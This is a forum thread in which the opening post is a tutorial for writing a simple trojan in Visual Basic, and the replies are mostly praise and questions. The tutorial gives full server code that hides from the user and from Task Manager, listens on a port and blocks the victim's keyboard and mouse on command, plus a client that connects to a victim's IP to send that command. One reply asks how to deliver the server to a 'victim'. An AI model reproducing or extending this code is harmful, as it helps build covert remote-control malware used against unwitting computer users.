1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Simple trojan in vb ..... (only for learning)

Discussion in 'Ethical hacking Tips' started by vishal sharma, Sep 25, 2004.

  1. vishal sharma

    vishal sharma New Member

    Joined:
    Jul 23, 2004
    Messages:
    106
    Likes Received:
    6
    Trophy Points:
    0
    Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code. The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go through what you need for both and some sample code.

    Server
    The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it. To do this you start by using

    Code:
    Private Sub Form_Load()
         Me.Visible = False
    End Sub
    
    This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.

    Code:
    Private Sub Form_Load()
         Me.Visible = False
         App.TaskVisible = False
    End Sub
    
    So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
    The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.

    Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.
    Code:
    Private Sub Form_Load()
         Me.Visible = False
         App.TaskVisible = False
         win.LocalPort = 2999
         win.RemotePort = 455
         win.Listen
    End Sub
    
    This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!

    To do this little devious thing we need to add a module with the following code

    Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

    Then we add this code to our main form:

    Code:
    Private Sub win_ConnectionRequest(ByVal requestID As Long)
         win.Close
         win.Accept requestID
    End Sub
    
    Private Sub win_DataArrival(ByVal bytesTotal As Long)
        win.GetData GotDat
        DoActions (GotDat)
    End Sub
    
    The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

    For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!

    Code:
    Public Function DoActions(x As String)
         Dim Action
         Select Case x
                 Case "block"
                 Action = BlockInput(True)
         End Select
    End Function
    
    Ok now we have a program that when the data “block” is sent to it on port 2999 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.

    Main Form
    Code:
                       
    Private Sub Form_Load()
         Me.Visible = False
         App.TaskVisible = False
         win.LocalPort = 2999
         win.RemotePort = 455
         win.Listen
    End Sub
    
    Private Sub win_ConnectionRequest(ByVal requestID As Long) ' As corrected by Darkness1337
         win.Close
         win.Accept requestID
    End Sub
    
    Private Sub win_DataArrival(ByVal bytesTotal As Long)
         win.GetData GotDat
         DoActions (GotDat)
    End Sub
    
    Remember to add your winsock control and name it to win if you use this code.

    Code:
    Module
    
    Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long                      
    
    Public Function DoActions(x As String)
         Dim Action
         Select Case x
                   Case "block"
                   Action = BlockInput(True)
         End Select
    End Function
    
    That’s all there is to the server side or Trojan part of it. Now on to the Client.

    Client

    The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the command “block”.

    Make a form and add a Winsock Control, a text box, and three buttons. The Text box should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.

    Code:
    Private Sub cmdConnect_Click()
         IpAddy = txtIp.Text
         Win.Close
         Win.RemotePort = 2999
         Win.RemoteHost = IpAddy
         Win.LocalPort = 9999
         Win.Connect
         cmdConnect.Enabled = False
    End Sub
    
    Private Sub cmdDisconnect_Click()
         Win.Close
         cmdConnect.Enabled = True
    End Sub
               
    Private Sub cmdBlockInput_Click()
         Win.SendData "block"
    End Sub
    
    That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send the “block” data to block off their input.
     
    lanky_ninja likes this.
  2. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,287
    Likes Received:
    364
    Trophy Points:
    83
  3. Unregistered

    Unregistered Guest

    I was loosing interest in VB but this Articles as made me open my VB book again.
     
  4. ocena

    ocena New Member

    Joined:
    Aug 6, 2006
    Messages:
    7
    Likes Received:
    0
    Trophy Points:
    0
    I have search the internet for a possible trojan created in vb. well, it rocks
     
  5. jirat

    jirat New Member

    Joined:
    Oct 31, 2006
    Messages:
    3
    Likes Received:
    2
    Trophy Points:
    0
    very cool :)
     
  6. Sophia01

    Sophia01 New Member

    Joined:
    Dec 5, 2006
    Messages:
    7
    Likes Received:
    0
    Trophy Points:
    0
    nice one..
     
  7. bokiratx

    bokiratx New Member

    Joined:
    Dec 6, 2006
    Messages:
    7
    Likes Received:
    0
    Trophy Points:
    0
  8. zylyz

    zylyz New Member

    Joined:
    Dec 26, 2006
    Messages:
    3
    Likes Received:
    0
    Trophy Points:
    0
    did any one compile it and try it out on
     
  9. ReekenX

    ReekenX New Member

    Joined:
    Jan 19, 2007
    Messages:
    14
    Likes Received:
    0
    Trophy Points:
    0
    Occupation:
    Developer
    Home Page:
    Cool tutorial ;)
     
    Last edited by a moderator: Jan 25, 2007
  10. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,287
    Likes Received:
    364
    Trophy Points:
    83
    Confine links to signature only
     
  11. willing

    willing New Member

    Joined:
    Mar 10, 2007
    Messages:
    1
    Likes Received:
    0
    Trophy Points:
    0
    Occupation:
    Project Manager (Software roll out to local primar
    Location:
    Trinidad and Tobago
    Hey,
    I'm new to prgramming on the whole. Followed code above. Stupid ques, when finished making lets say frmClient and frmServer do we save it as a project an then make the project a .exe.
    Do i have to compile before we save or make a .exe. Is compile the play button, becuase when i did after creating each form i that didn't get back like a process completed e.g jcreator

    How do i end up with a client.exe and a server.exe at the end of the day. Do we send the server.exe like a normal trojan to our victim and we run client.exe on our pc.

    If so , how to i actually use the client to connect to victim, what interface and how?
    Sorry for Stupid ques, i could imagine how i am sounding. I am really interested in learning code and i have been reading a good bit. i pick up fairly fast, and i understand enough to appreciate a helping hand. thanks on responses, cheers
     
  12. Darkness1337

    Darkness1337 New Member

    Joined:
    Mar 15, 2007
    Messages:
    130
    Likes Received:
    1
    Trophy Points:
    0
    woh! greate tutorials! keep it up :D

    thanx~ ;)
     
  13. uday kumar ujjwal

    uday kumar ujjwal New Member

    Joined:
    Apr 3, 2007
    Messages:
    1
    Likes Received:
    0
    Trophy Points:
    0
  14. tarencer

    tarencer New Member

    Joined:
    May 16, 2007
    Messages:
    1
    Likes Received:
    0
    Trophy Points:
    0
    hey guys m new to this forum.......
    however i wuld like to ask a small question on the code ?

    if i put another command button ie to unblock the input say cmdUnblockInput

    Code:
    Private Sub cmdUnblockInput_Click()
         Win.SendData "Unblock"
    End Sub
    and i add the foll:
    Code:
           Select Case x
                   Case "block"
                        Action = BlockInput(True)
                   Case "Unblock"
                        Action = BlockInput(False)
         End Select
    ok dats for the coding part now for the implementation part

    now if u click on cmdBlockInput it blocks the input devices from..............

    but now wen u press cmdUnblockInput it doesnt unblock the input devices.......

    dat is no reconnection is made to the trojan part of the computer...........
    dat is the trojan part of the computer should be in the "listening" state again which is not in this case........
    i just want to know how to do so???

    hope i get the ans for my 1st question on this forum?
     
  15. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,287
    Likes Received:
    364
    Trophy Points:
    83
    tarencer, have a separate thread for your query and not in the discussion of the article.

    Also provide a good and relevant topic as well as have it in the right section.
     
  16. Darkness1337

    Darkness1337 New Member

    Joined:
    Mar 15, 2007
    Messages:
    130
    Likes Received:
    1
    Trophy Points:
    0
    This is GREAT, WOW, :)

    but just to show you a little spelling mistake, which would bug the whole program....

    check the bit in bold, it should be Private Instead of Pivate

    Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
    win.Close
    win.Accept requestID
    End Sub

    Private Sub win_DataArrival(ByVal bytesTotal As Long)
    win.GetData GotDat
    DoActions (GotDat)
    End Sub

    .....


    nice work! :) love ya... lol
     
  17. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,287
    Likes Received:
    364
    Trophy Points:
    83
    I have corrected the error. Thanks for pointing that out.
     
  18. Darkness1337

    Darkness1337 New Member

    Joined:
    Mar 15, 2007
    Messages:
    130
    Likes Received:
    1
    Trophy Points:
    0
    No probs.... Thanx for correcting it...

    I'm having problem with this, I created it and Published it (*.exe) i run server(so it active) then opened my client unit, typed my IP in and click connect, it worked fine till that point but when I click on BLOCK INPUT it didnt work, it kept saying
    :(

    is there any thing that I can do to get it right? :)
     
  19. kiran7

    kiran7 New Member

    Joined:
    Feb 12, 2007
    Messages:
    13
    Likes Received:
    0
    Trophy Points:
    0
    Good code.
    Hope nobody creates a real trojan out of this.
     
  20. Bhullarz

    Bhullarz New Member

    Joined:
    Nov 15, 2006
    Messages:
    253
    Likes Received:
    13
    Trophy Points:
    0
    Occupation:
    System Manager
    Home Page:
    Seems to be good tutorial but not working for me. Detected by Kaspersky as Generic Trojan
     

Share This Page